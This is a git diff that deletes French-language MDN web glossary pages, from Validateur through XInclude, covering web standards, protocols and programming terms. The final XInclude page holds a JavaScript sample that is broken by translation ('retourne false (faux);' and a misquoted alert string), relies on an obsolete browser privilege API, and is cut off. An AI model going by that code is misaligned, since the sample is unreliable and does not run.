- - diff --git a/files/fr/glossaire/validator/index.html b/files/fr/glossaire/validator/index.html deleted file mode 100644 index a2a1258254..0000000000 --- a/files/fr/glossaire/validator/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Validateur -slug: Glossaire/Validator -tags: - - Glossaire - - Sécurité -translation_of: Glossary/Validator ---- -

Un validateur est un programme qui vérifie les erreurs de syntaxe d'un code informatique. Ils peuvent être créés pour tous les formats et langages, mais dans notre contexte on parle d'outils vérifiant le {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("XML")}}.

- -

En apprendre plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/variable/index.html b/files/fr/glossaire/variable/index.html deleted file mode 100644 index 547a5ef7e2..0000000000 --- a/files/fr/glossaire/variable/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Variable -slug: Glossaire/Variable -tags: - - Encodage - - Glossaire - - JavaScript - - Programmation - - Variables -translation_of: Glossary/Variable ---- -

Une variable est un emplacement nommé pour conserver une {{Glossary("Value", "valeur")}}. Ainsi, il est possible d'accéder à une valeur quelconque par l'intermédiaire d'un nom prédéterminé.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Variable (informatique)")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/variable_globale/index.html b/files/fr/glossaire/variable_globale/index.html deleted file mode 100644 index a2f2a03048..0000000000 --- a/files/fr/glossaire/variable_globale/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Variable globale -slug: Glossaire/Variable_globale -tags: - - Encodage - - Glossaire -translation_of: Glossary/Global_variable ---- -

Une variable globale est une {{glossary("Variable")}} déclarée dans une {{glossary("Global scope","portée globale")}} en d'autres termes, une variable visible depuis toutes les autres portées.

- -

En JavaScript, c'est une {{glossary("Property","propriété")}} de l'{{glossary("Global object","objet global")}}.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Variable globale")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/variable_locale/index.html b/files/fr/glossaire/variable_locale/index.html deleted file mode 100644 index c52259f5cf..0000000000 --- a/files/fr/glossaire/variable_locale/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Variable locale -slug: Glossaire/Variable_locale -tags: - - Encodage - - Glossaire -translation_of: Glossary/Local_variable ---- -

Une {{glossary("Variable","variable")}} dont le nom est associé à sa {{glossary("Value","valeur")}} uniquement dans une {{Glossary("Local scope","portée locale")}}.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Variable locale", "Variable locale")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/viewport/index.html b/files/fr/glossaire/viewport/index.html deleted file mode 100644 index cbd2e738ca..0000000000 --- a/files/fr/glossaire/viewport/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Vue -slug: Glossaire/Viewport -tags: - - Encodage - - Glossaire -translation_of: Glossary/Viewport ---- -

Une vue représente une zone polygonale (normalement rectangulaire) dans les graphiques d'ordinateur en cours de visualisation. En termes de navigateur web, elle se réfère à la partie du document que vous visualisez, qui est actuellement visible dans la fenêtre (ou à l'écran, si le document est en cours d'affichage en mode plein écran). Le contenu en dehors de la fenêtre d'affichage n'est pas visible à l'écran jusqu'à ce qu'il défile dans la vue.

- -

Pour approfondir

- -

Culture générale

diff --git a/files/fr/glossaire/voip/index.html b/files/fr/glossaire/voip/index.html deleted file mode 100644 index 1c4ac9572b..0000000000 --- a/files/fr/glossaire/voip/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: VoIP -slug: Glossaire/VoIP -tags: - - Glossaire - - Infrastructure - - VoIP -translation_of: Glossary/VoIP ---- -

La VoIP (Voice over Internet Protocol) est une technologie utilisée pour transmettre des messages vocaux via des réseaux IP (Internet Protocol). Parmi les logiciels de VoIP courants, on trouve Skype, Msn Messenger, Yahoo et beaucoup d'autres. Tout ce qui est transféré en VoIP est numérique. Cette technologie est aussi connue sous les noms de téléphonie IP ou téléphonie haut débit. La principale raison de l'utiliser est son coût.

- -

La VoIP vous permet d'appeler directement depuis un ordinateur, un téléphone spécial VoIP ou un téléphone traditionnel connecté à un adaptateur spécial. La VoIP nécessite une connexion internet haut débit. En général, les appels téléphoniques via Internet ne génèrent pas de charges en sus de ce que l'utilisateur paye pour son accès Internet, de la même manière que l'utilisateur ne paye pas pour chaque courriel qu'il envoie par Internet.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "VoIP")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/w3c/index.html b/files/fr/glossaire/w3c/index.html deleted file mode 100644 index 9c32c8aeeb..0000000000 --- a/files/fr/glossaire/w3c/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: W3C -slug: Glossaire/W3C -translation_of: Glossary/W3C ---- -

Le World Wide Web Consortium (W3C) est un organisme international qui maintient les règles en {{Glossary("World Wide Web", "relation avec le Web")}} et les frameworks.

- -

Il est constitué de plus de 350 organisations qui développent conjointement les standards du Web, conduisent des programmes de sensibilisation et gèrent des forums ouverts pour dialoguer autour du Web. Le W3C coordonne les entreprises pour s'assurer qu'elles implémentent les mêmes standards.

- -

Chaque standard passe à travers quatre étapes de maturation : Working Draft (WD, brouillon de travail), Candidate Recommendation (CR, candidat à la recommandation), Proposed Recommendation (PR, recommandation proposée), et W3C Recommandation (REC, recommandation du W3C).

- -

Pour en savoir plus

- -

Connaissances générales

- -
    -
  • Site web du W3C
    • -
  • {{Interwiki("wikipedia", "World Wide Web Consortium", "W3C")}} sur Wikipedia -
diff --git a/files/fr/glossaire/wai/index.html b/files/fr/glossaire/wai/index.html deleted file mode 100644 index cf7270bdb6..0000000000 --- a/files/fr/glossaire/wai/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: WAI -slug: Glossaire/WAI -tags: - - Accessibilité - - Glossaire -translation_of: Glossary/WAI ---- -

La WAI ou Web Accessibility Initiative a été lancée par le World Wide Web Consortium (W3C) pour rendre le web plus accessibie aux personnes handicapées, celles-ci pouvant avoir besoin d'un {{Glossary("navigateur")}} ou d'appareils non standards.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • Site web de la WAI
    • -
  • {{Interwiki("wikipedia", "Web Accessibility Initiative")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/wcag/index.html b/files/fr/glossaire/wcag/index.html deleted file mode 100644 index b3dc97c01c..0000000000 --- a/files/fr/glossaire/wcag/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: WCAG -slug: Glossaire/WCAG -tags: - - Accessibilité - - Directives web - - Glossaire - - WCAG -translation_of: Glossary/WCAG ---- -

Les Web Content Accessibility Guidelines (WCAG) sont une recommandation publiée par le groupe {{Glossary("WAI","Web Accessibility Initiative")}} du {{Glossary("W3C")}}. Ils définissent un ensemble de lignes de conduite à suivre pour rendre le contenu accessible principalement aux personnes avec des handicaps, mais aussi aux appareils aux ressources limitées comme les téléphones portables.

- -

WCAG 2.0, qui a replacé WCAG 1.0, a été publié en tant que recommandation W3C le 11 décembre 2008. Elle consiste en 12 directives principales organisées en 4 principes (le contenu doit être perceptible, utilisable, compréhensible et robuste) et chacune de ces directives est accompagnée de critères de succès à évaluer.

- -

WCAG utilise trois niveaux d'accessibilité :

- -
    -
  • Priorité 1 : Les développeurs web doivent satisfaire ces conditions, sinon il sera impossible à un ou plusieurs groupes d'accéder au contenu du web. Atteindre ce niveau est désigné par A.
    • -
  • Priorité 2 : Les développeurs web devraient satisfaire ces conditions, sinon certains groupes éprouveront des difficultés à accéder au contenu du web. Atteindre ce niveau est désigné par AA ou double A.
    • -
  • Priorité 3 : Les développeurs web peuvent satisfaire ces conditions dans le but de faciliter l'accès au web pour certains groupes. Atteindre ce niveau est désigné par AAA ou triple A.
    • -
- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Accessibilité du Web", "WCAG")}} sur Wikipédia
    • -
- -

Connaissances techniques

- - diff --git a/files/fr/glossaire/web_standards/index.html b/files/fr/glossaire/web_standards/index.html deleted file mode 100644 index ddc17ca445..0000000000 --- a/files/fr/glossaire/web_standards/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Standards du Web -slug: Glossaire/Web_standards -tags: - - Glossaire - - Infrastructure - - Standards du Web - - spécifications web - - standards -translation_of: Glossary/Web_standards ---- -

Les standards du Web sont des règles établies par des organismes de standardisation internationaux qui définissent la manière dont fonctionne le {{Glossary("World Wide Web", "Web")}} (et parfois qui contrôlent l'{{Glossary("Internet")}} également).

- -

Plusieurs organismes de standardisation sont responsables de définir différents aspects du Web, et tous les standards doivent être coordonnés pour que le Web reste utilisable et accessible le plus possible. Les standards du Web doivent également évoluer pour améliorer l'état actuel et s'adapter aux nouvelles circonstances.

- -

Cette liste non exhaustive vous donne une idée des standards auxquels les sites web et les systèmes réseaux doivent se conformer :

- -
    -
  • IETF (Internet Engineering Task Force) : standards Internet (STD), qui, parmi d'autres choses, gouvernent l'organisation et l'utilisation des {{Glossary("URI", "URIs")}}, d'{{Glossary("HTTP")}} et des types {{Glossary("MIME")}}
    • -
  • {{Glossary("W3C")}}: spécifications du langage de balisage (e.g., {{Glossary("HTML")}}), définitions de styles (i.e., {{Glossary("CSS")}}), {{Glossary("DOM")}}, {{Glossary("Accessibilité", "accessibilité")}}
    • -
  • IANA (Internet Assigned Numbers Authority) : enregistrements des noms et numéros
    • -
  • Ecma Intl. : standards pour les langages de scripts, le plus visible étant {{Glossary("JavaScript")}}
    • -
  • {{Glossary("ISO")}} (International Organization for Standardization) : standards gouvernant un vaste éventail d'aspects, dont l'encodage de caractères, la gestion de sites web et la conception d'interfaces utilisateur
    • -
- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Standards du Web")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/webdav/index.html b/files/fr/glossaire/webdav/index.html deleted file mode 100644 index b492ec37f6..0000000000 --- a/files/fr/glossaire/webdav/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: WebDAV -slug: Glossaire/WebDAV -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/WebDAV ---- -

WebDAV (Web Distributed Authoring and Versioning) est une extension {{Glossary("HTTP")}} qui permet aux développeurs web de faire des mises à jour de contenu à distance depuis un client.

- -

WebDav est rarement utilisé seul, mais deux extensions sont très répandues : {{Glossary("CalDAV")}} (accès distant aux données d'agenda) et {{Glossary("CardDAV")}} (accès distant au carnet d'adresses).

- -

WebDAV donne aux clients les possibilités suivantes

- -
    -
  • ajout, suppression et récupération des métadonnées de pages web (e.g. auteur ou date de création)
    • -
  • création de liens dans des pages de tout type de média vers des pages qui y sont associées
    • -
  • création d'ensembles de documents et récupération de listes hiérarchiques
    • -
  • copie et déplacement de pages web
    • -
  • verrouillage d'un document pour restreindre son édition à une seule personne à la fois
    • -
- -
-
- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "WebDAV")}} sur Wikipédia
    • -
- -

Référence technique

- -
    -
  • {{rfc(2518)}}
    • -
  • {{rfc(3253)}}
    • -
  • {{rfc(3744)}}
    • -
diff --git a/files/fr/glossaire/webextensions/index.html b/files/fr/glossaire/webextensions/index.html deleted file mode 100644 index a9f2bb1afd..0000000000 --- a/files/fr/glossaire/webextensions/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: WebExtensions -slug: Glossaire/WebExtensions -tags: - - Glossaire - - WebExtensions -translation_of: Glossary/WebExtensions ---- -

Les WebExtensions constituent un système multinavigateur pour développer des extensions de navigateur dans Firefox. Ce système fournit des API qui sont dans une large mesure prises en charge dans différents navigateurs tels que Mozilla Firefox, Google Chrome, Opera et Microsoft Edge.

- -

Pour approfondir

- -

Informations techniques

- - diff --git a/files/fr/glossaire/webgl/index.html b/files/fr/glossaire/webgl/index.html deleted file mode 100644 index f761f71a71..0000000000 --- a/files/fr/glossaire/webgl/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: WebGL -slug: Glossaire/WebGL -tags: - - Avancé - - CodingScripting - - Glossaire - - Graphismes Web - - WebGL -translation_of: Glossary/WebGL ---- -

WebGL (Web Graphics Library) est une {{Glossary("API")}} {{Glossary("JavaScript")}} pour produire des graphismes 2D et 3D interactifs.

- -

Le Groupe Khronos maintient WebGL qui est basé sur {{Glossary("OpenGL")}} ES 2.0.

- -

Vous pouvez faire appel à WebGL à partir de l'élément {{Glossary("HTML")}} {{HTMLElement("canvas")}} qui fournit une surface de rendu.

- -

Tous les principaux {{Glossary("Navigateur","navigateurs")}} prennent maintenant en charge WebGL, mais sa disponibilité dépend également de facteurs externes (e.g. support par le GPU).

- -

Pour approfondir

- -

Culture générale

- - - -

Article technique

- - diff --git a/files/fr/glossaire/webidl/index.html b/files/fr/glossaire/webidl/index.html deleted file mode 100644 index f3e85f3078..0000000000 --- a/files/fr/glossaire/webidl/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: WebIDL -slug: Glossaire/WebIDL -tags: - - Encodage - - Glossaire - - WebIDL -translation_of: Glossary/WebIDL ---- -

WebIDL est le langage de description d'interface utilisé pour décrire les {{Glossary("Type","types de données")}}, {{Glossary("interface","interfaces")}}, {{Glossary("Method","méthodes")}}, {{Glossary("Property","propriétés")}} et d'autres éléments qui composent une interface de programmation d'application Web ({{Glossary("API")}}). Il utilise une syntaxe quelque peu stylisée qui est indépendante de tout langage de programmation spécifique, de sorte que le code sous-jacent utilisé pour construire chaque API puisse être écrit dans le langage le plus approprié, tout en permettant de faire le plan des composants de l'API pour une construction compatible JavaScript

- -

WebIDL est utilisé dans presque toutes les {{Glossary ("Specification","spécifications")}} des API pour le Web, et grâce à son format et à sa syntaxe standard, les programmeurs qui créent des navigateurs Web peuvent plus facilement s'assurer que leurs navigateurs sont compatibles entre eux indépendamment de la façon dont ils choisissent d'écrire le code pour implémenter l'API.

- -

Pour approfondir

- -

Référence technique

- - diff --git a/files/fr/glossaire/webkit/index.html b/files/fr/glossaire/webkit/index.html deleted file mode 100644 index 70806fd463..0000000000 --- a/files/fr/glossaire/webkit/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: WebKit -slug: Glossaire/WebKit -tags: - - Glossaire - - Intro - - Navigateur - - Web - - WebKit - - WebMechanics -translation_of: Glossary/WebKit ---- -

WebKit est un framework destiné à afficher des pages web correctement formatées en se basant sur leur balisage. {{Glossary("Apple Safari")}} dépend de WebKit tout comme de nombreux navigateurs pour mobiles (car WebKit est hautement portable et personnalisable).

- -

WebKit a commencé son existence comme un fork du moteur KHTML de KDE et des bibliothèques KJS, mais beaucoup d'individus et d'entreprises y ont contribué depuis (dont KDE, Apple, Google, et Nokia).

- -

WebKit est une marque déposée par Apple, et le framework est distribué sous une licence de type BSD. Cependant, deux éléments importants sont placés sous {{Glossary("LGPL")}}: la bibliothèque de rendu WebCore et le moteur JavaScriptCore.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "WebKit")}} sur Wikipédia
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/webm/index.html b/files/fr/glossaire/webm/index.html deleted file mode 100644 index dc829be881..0000000000 --- a/files/fr/glossaire/webm/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: WebM -slug: Glossaire/webm -tags: - - Composition - - Glossaire - - Infrastructure - - WebM -translation_of: Glossary/webm ---- -

WebM est un format vidéo ouvert, destiné au web et libre de redevance. Il est supporté de manière native par Mozilla Firefox.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/webp/index.html b/files/fr/glossaire/webp/index.html deleted file mode 100644 index 66b9255e24..0000000000 --- a/files/fr/glossaire/webp/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: WebP -slug: Glossaire/webp -tags: - - Composing - - Débutant - - Glossaire - - Infrastructure - - WebP -translation_of: Glossary/webp ---- -

WebP est un format d'image avec compression, avec ou sans perte, développé par Google.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/webrtc/index.html b/files/fr/glossaire/webrtc/index.html deleted file mode 100644 index f796f8b47a..0000000000 --- a/files/fr/glossaire/webrtc/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: WebRTC -slug: Glossaire/WebRTC -tags: - - Encodage - - Glossaire - - Infrastructure - - P2P - - VoIP - - Web - - WebRTC -translation_of: Glossary/WebRTC ---- -

WebRTC (Web Real-Time Communication) (communication en temps réel web) est une {{Glossary("API")}} appelée par les applications web de tchat vidéo, d'appels vocaux et de partage de fichiers P2P.

- -

WebRTC est constitué principalement de ces éléments :

- -
-
getUserMedia
-
accorde l'accès à la caméra et / ou au microphone d'un appareil, et peut brancher leurs signaux à une connexion RTC.
-
RTCPeerConnection
-
configure les appels vocaux ou tchat vidéo
-
RTCDataChannels
-
fournit une méthode de définition des itinéraires de données {{Glossary("P2P","pair-à-pair")}} entre les navigateurs
-
- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/websockets/index.html b/files/fr/glossaire/websockets/index.html deleted file mode 100644 index 4187a6db73..0000000000 --- a/files/fr/glossaire/websockets/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: WebSockets -slug: Glossaire/WebSockets -tags: - - Connexion - - Glossaire - - Infrastructure - - Protocoles - - Réseau - - Web - - WebSocket -translation_of: Glossary/WebSockets ---- -

WebSocket est un {{Glossary("Protocol","protocole")}} servant à établir des connexions {{Glossary("TCP")}} persistantes entre des {{Glossary("Server", "serveurs")}} et des clients afin qu'ils puissent échanger des données à tout moment.

- -

Toute application cliente ou serveur peut utiliser WebSocket, mais plus particulièrement les {{Glossary("Browser", "navigateurs")}} et serveurs web. Grâce à WebSocket, les serveurs peuvent passer des données à un client sans qu'il n'y ait de requête cliente préalable, autorisant des mises à jour de contenu dynamiques.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Websocket")}} sur Wikipédia
    • -
- -

Référence technique

- - - -

Apprendre

- - diff --git a/files/fr/glossaire/webvtt/index.html b/files/fr/glossaire/webvtt/index.html deleted file mode 100644 index 66969fa327..0000000000 --- a/files/fr/glossaire/webvtt/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: WebVTT -slug: Glossaire/WebVTT -tags: - - Glossaire -translation_of: Glossary/WebVTT ---- -

WebVTT (Web Video Text Tracks) est une spécification {{Glossary("W3C")}} pour un format de fichier marquant des ressources de suivi de texte combinées avec l'élément HTML {{HTMLElement("track")}}.

- -

Les fichiers WebVTT fournissent des métadonnées alignées sur le temps avec du contenu audio ou vidéo, comme des légendes ou des sous-titres, des descriptions de vidéos texte, des chapitres pour la navigation dans le contenu, etc.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "WebVTT")}} sur Wikipedia
    • -
- -

Technical reference

- - diff --git a/files/fr/glossaire/whatwg/index.html b/files/fr/glossaire/whatwg/index.html deleted file mode 100644 index 24d608902d..0000000000 --- a/files/fr/glossaire/whatwg/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: WHATWG -slug: Glossaire/WHATWG -tags: - - Communauté - - Glossaire - - HTML - - HTML5 - - WHATWG - - Web -translation_of: Glossary/WHATWG ---- -

Le WHATWG (Web Hypertext Application Technology Working Group) est une organisation qui maintient et développe le {{Glossary("HTML")}} et les {{Glossary("API", "APIs")}} des applications Web. Le WHATWG a été mis en place en 2004 par d'anciens employés d'Apple, Mozilla et Opera.

- -

Les éditeurs de spécifications du WHATWG recherchent et recueillent des commentaires pour les documents de spécification. Le groupe dispose également d'un petit comité de membres invités qui sont autorisés à outrepasser ou remplacer les éditeurs de spécifications. Vous pouvez participer en tant que contributeur en souscrivant à la liste de diffusion.

- -

D'après leur site web, WHATWG est une réponse aux progrès très lents du {{Glossary("W3C", "W3C")}} sur les standards du Web, en particulier du HTML dont le W3C avait arrêté le développement pour se concentrer sur le {{Glossary("XHTML")}}.

- -
WHATWG maintient les spécifications du {{Glossary("HTML")}}, du {{Glossary("DOM")}} et de {{Glossary("JavaScript")}}.
- -
 
- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/whitespace/index.html b/files/fr/glossaire/whitespace/index.html deleted file mode 100644 index 92b062e11e..0000000000 --- a/files/fr/glossaire/whitespace/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Whitespace -slug: Glossaire/Whitespace -tags: - - Glossaire - - Grammaire lexicale - - espace blanc - - whitespace -translation_of: Glossary/Whitespace ---- -

Whitespace sont un ensemble de {{Glossary("Character", "characters")}} qui est utilisé pour afficher des espaces horizontaux ou verticaux entre d'autres caractères. Ils sont souvent utilisés pour séparer les jetons dans {{Glossary("HTML")}}, {{Glossary("CSS")}}, {{Glossary("JavaScript")}}, et dans d'autres langages informatiques. Les caractères whitespace et leur utilisation varient selon les langages.

- -

En HTML

- -

HTML Living Standard spécifie 5 caractères comme whitespace ASCII : U+0009 TAB, U+000A LF, U+000C FF, U+000D CR, et U+0020 SPACE. Sous forme de texte, ils sont traités comme des espaces normaux et les espaces séquentiels sont réduits comme un seul espace dans de nombreux cas (ce comportement peut être modifié par la propriété CSS {{cssxref("white-space")}} ). Ils sont également utilisés comme séparateur d'un nom d'élément et de ses paramètres, noms de classe, etc.

- -

En JavaScript

- -

ECMAScript® 2015 Language Specification spécifie plusieurs points de code Unicode sous forme de white space: U+0009 CHARACTER TABULATION <TAB>, U+000B LINE TABULATION <VT>, U+000C FORM FEED <FF>, U+0020 SPACE <SP>, U+00A0 NO-BREAK SPACE <NBSP>, U+FEFF ZERO WIDTH NO-BREAK SPACE <ZWNBSP> et autre catégorie “Zs” Tout autre point de code Unicode “Séparateur, esspace” <USP>. Ces caractères sont généralement inutiles pour la fonctionnalité du code.

- - diff --git a/files/fr/glossaire/world_wide_web/index.html b/files/fr/glossaire/world_wide_web/index.html deleted file mode 100644 index f002576d00..0000000000 --- a/files/fr/glossaire/world_wide_web/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: World Wide Web -slug: Glossaire/World_Wide_Web -tags: - - Glossaire - - Infrastructure - - WWW - - World Wide Web -translation_of: Glossary/World_Wide_Web ---- -

Le World Wide Web — communément appelé WWW, W3, ou le web — est un système de pages web publiques interconnectées à travers l'{{Glossary("Internet")}}. Le web et l'internet ne sont pas la même chose : le web est l'une des nombreuses applications bâties au-dessus de l'internet.

- -

Tim Berners-Lee a proposé l'architecture de ce qui a été ensuite connu sous le nom de World Wide Web. Il a créé les premiers {{Glossary("Server","serveur")}} web, {{Glossary("Browser","navigateur")}} web, et page web sur son ordinateur au laboratoire de recherches scientifiques CERN en 1990. En 1991, il a annoncé sa création sur le newsgroup alt.hypertext, indiquant ainsi pour la première fois que le web était rendu public.

- -

Ce que nous connaissons comme étant "le web" consiste en plusieurs éléments :

- -
    -
  • Le protocole {{Glossary("HTTP")}} gouverne la transmission des données entre un serveur et un client.
    • -
  • Pour accéder à un composant du web, un client fournit un identificateur universel unique, appelé une {{Glossary("URL")}} (uniform resource location) ou {{Glossary("URI")}} (uniform resource identifier) (anciennement appelée Universal Document Identifier (UDI)).
    • -
  • Le {{Glossary("HTML")}} (hypertext markup language) est le format le plus répandu pour publier des documents web.
    • -
- -

Lier, ou connecter des ressources grâce à des {{Glossary("Hyperlink","hyperliens")}}, est un concept majeur qui a donné au web le statut de collection de documents connectés.

- -

Peu de temps après avoir inventé le web, Tim Berners-Lee a fondé le {{Glossary("W3C")}} (World Wide Web Consortium) pour le développer et le standardiser. Le consortium est constitué des principaux groupes d'intérêt du web, comme des développeurs de navigateur web, des entités gouvernementales, des chercheurs et des universités. Sa mission inclut aussi l'éducation et la sensibilisation.

- -

Pour approfondir

- -

Apprendre sur ce sujet

- - - -

Culture générale

- - diff --git a/files/fr/glossaire/wrapper/index.html b/files/fr/glossaire/wrapper/index.html deleted file mode 100644 index 16c0f4324d..0000000000 --- a/files/fr/glossaire/wrapper/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Wrapper -slug: Glossaire/Wrapper -tags: - - Encodage - - Glossaire -translation_of: Glossary/Wrapper ---- -

Dans les langages de programmation tels que JavaScript, un wrapper est une fonction qui est destinée à appeler une ou plusieurs autres fonctions, parfois purement par commodité, et parfois en les adaptant pour faire une tâche légèrement différente dans le processus.

- -

En apprendre plus

- -

Culture générale

- -

{{Interwiki("wikipedia","fonction_wrapper")}} sur Wikipedia

diff --git a/files/fr/glossaire/xform/index.html b/files/fr/glossaire/xform/index.html deleted file mode 100644 index 0cc2a295e7..0000000000 --- a/files/fr/glossaire/xform/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: XForm -slug: Glossaire/XForm -tags: - - CodingScripting - - Glossaire - - Obsolete - - XForms -translation_of: Glossary/XForms ---- -

XForms est une convention pour la construction de formulaires Web et pour le traitement de leurs données dans un format {{glossary("XML")}}. Plus aucun navigateur majeur ne supporte XForms—nous suggérons d'utiliser les formulaires HTML5 à la place.

- -

Pour approfondir

- -

Référence technique

- - diff --git a/files/fr/glossaire/xhr_(xmlhttprequest)/index.html b/files/fr/glossaire/xhr_(xmlhttprequest)/index.html deleted file mode 100644 index 7bac907c15..0000000000 --- a/files/fr/glossaire/xhr_(xmlhttprequest)/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: XHR (XMLHttpRequest) -slug: Glossaire/XHR_(XMLHttpRequest) -tags: - - Glossaire -translation_of: Glossary/XHR_(XMLHttpRequest) ---- -

{{domxref("XMLHttpRequest")}} (XHR) est une {{Glossary("API")}} {{Glossary("JavaScript")}} pour créer des requêtes {{Glossary("AJAX")}}. Ses méthodes permettent d'envoyer des requêtes réseau entre le {{Glossary("Browser","navigateur")}} et un {{Glossary("Server","serveur")}}.

- -

En apprendre plus

- -

Culture générale

- - - -

Informations techniques

- - diff --git a/files/fr/glossaire/xinclude/index.html b/files/fr/glossaire/xinclude/index.html deleted file mode 100644 index 0277aeb4fd..0000000000 --- a/files/fr/glossaire/xinclude/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: XInclude -slug: Glossaire/XInclude -tags: - - Encodage - - Glossaire -translation_of: Glossary/XInclude ---- -

XML Inclusions (XInclude) est une recommandation du W3C pour permettre l'inclusion de différentes sources XML d'une manière plus pratique que les entités externes XML. Lorsqu'il est utilisé conjointement avec XPointer (Firefox prend en charge un sous-ensemble et est utilisé dans l'exemple de code ci-dessous), XInclude peut également cibler uniquement des portions spécifiques d'un document à inclure. Firefox ne le supporte pas nativement, mais la fonction suivante a pour but de permettre son utilisation avec les documents qui y sont passés.

- -

Exemple de code

- -

Le code suivant vise à inclure les balises <xi: include> et <xi: fallback> (les deux éléments du langage) avec tous les attributs de <xi: include> dans un document XML de manière à pouvoir être fusionnés dans un document XML unique.

- -

(Notez que ceci n'a pas été complètement testé pour toutes les circonstances et peut ne pas refléter complètement le comportement standard).

- -

Notez également que si vous souhaitez autoriser xml: base, vous aurez besoin de xml:base function et la ligne de démarrage var href = ... doit être :

- -
var href = getXmlBaseLink (/* XLink sans xml:base */ xinclude.getAttribute('href'), /* Élément à interroger à partir de */ xinclude);
- -
function resolveXIncludes(docu) {
-    // http://www.w3.org/TR/xinclude/#xml-included-items
-    var xincludes = docu.getElementsByTagNameNS('http://www.w3.org/2001/XInclude', 'include');
-    if (xincludes) {
-        for (i=0; i < xincludes.length; i++) {
-            var xinclude = xincludes[i];
-            var href = xinclude.getAttribute('href');
-            var parse = xinclude.getAttribute('parse');
-            var xpointer = xinclude.getAttribute('xpointer');
-            var encoding = xinclude.getAttribute('encoding'); // par exemple, UTF-8 // "text/xml or application/xml ou text/*+xml ou application/*+xml" avant l'encodage (puis UTF-8)
-            var accept = xinclude.getAttribute('accept'); // header "Accept: "+x
-            var acceptLanguage = xinclude.getAttribute('accept-language'); // "Accept-Language: "+x
-            var xiFallback = xinclude.getElementsByTagNameNS('http://www.w3.org/2001/XInclude', 'fallback')[0]; // Un seul de ces enfants est autorisé
-            if (href === '' || href === null) { // Pointe sur le même document si vide (null est équivalent à une chaîne vide)
-                href = null; // Défini pour l'uniformité des tests ci-dessous
-                if (parse === 'xml' && xpointer === null) {
-                    alert('Il doit y avoir un attribut XPointer présent si "href" est vide et l'analyse est "xml"');
-                    retourne false (faux);
-                }
-            }
-            else if (href.match(/#$/, '') || href.match(/^#/, '')) {
-                alert('Les identifiants de fragment sont interdits dans un XInclude attribut "href"');
-                retourne false (faux);
-            }
-            var j;
-            var xincludeParent = xinclude.parentNode;
-            try {
-                netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect UniversalBrowserRead'); // Necessary with file:///-located files trying to reach external sites
-                if (href !== null) {
-                    var response, responseType;
-                    var request = new XMLHttpRequest();
-                    request.open('GET', href, false);
-                    request.setRequestHeader('If-Modified-Since', 'Thu, 1 Jan 1970 00:00:00 GMT');
-                    request.setRequestHeader('Cache-Control', 'no-cache');
-                    if (accept) {
-                        request.setRequestHeader('Accept', accept);
-                    }
-                    if (acceptLanguage) {
-                        request.setRequestHeader('Accept-Language', acceptLanguage);
-                    }
-                    switch (parse) {
-                        case 'text':
-                            // La priorité devrait être sur le type de média :
-
-                            var contentType = request.getResponseHeader('Content-Type');
-
-                            //text/xml; charset="utf-8" // Envoyer pour obtenir les en-têtes en premier?
-                            // Réparation : Nous testons également les extensions de fichiers dans le fichier en ce cas:// ne renvoie pas le type de contenu (comme cela semble être le cas); un autre outil peut-il être utilisé dans FF (ou IE) pour détecter l'encodage du fichier local ? Probablement juste besoin d'un test de nomenclature car d'autres codages doivent être spécifiés
